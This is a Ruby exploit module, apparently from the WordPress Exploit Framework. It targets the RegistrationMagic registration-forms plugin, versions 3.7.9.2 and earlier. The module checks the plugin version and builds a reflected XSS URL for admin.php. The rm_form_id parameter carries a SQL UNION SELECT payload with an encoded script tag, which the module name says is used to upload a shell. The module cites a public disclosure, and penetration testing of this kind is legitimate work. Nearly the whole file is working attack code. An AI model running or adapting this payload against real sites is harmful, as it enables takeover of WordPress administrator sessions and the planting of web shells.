registrationmagic_reflected_xss_shell_upload.rb

# frozen_string_literal: true

class Wpxf::Exploit::RegistrationMagicReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'RegistrationMagic - Custom Registration Forms <= 3.7.9.2 Reflected XSS Shell Upload',
      author: [
        'rastating'  # Disclosure + WPXF module
      ],
      references: [
        ['WPVDB', '8976'],
        ['URL', 'https://www.rastating.com/registrationmagic-custom-registration-forms-3-7-9-2-reflected-xss']
      ],
      date: 'Dec 10 2017'
    )
  end

  def check
    check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '3.7.9.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_payload
    url_encode("-#{Utility::Text.rand_numeric(2)} union select 0,0,0,'<script>#{xss_ascii_encoded_include_script}</script>',concat(0x54,0x65,0x78,0x74,0x62,0x6f,0x78),0,0,0,0,0,0")
  end

  def url_with_xss
    "#{vulnerable_url}?page=rm_field_manage&rm_form_id=#{url_payload}"
  end
end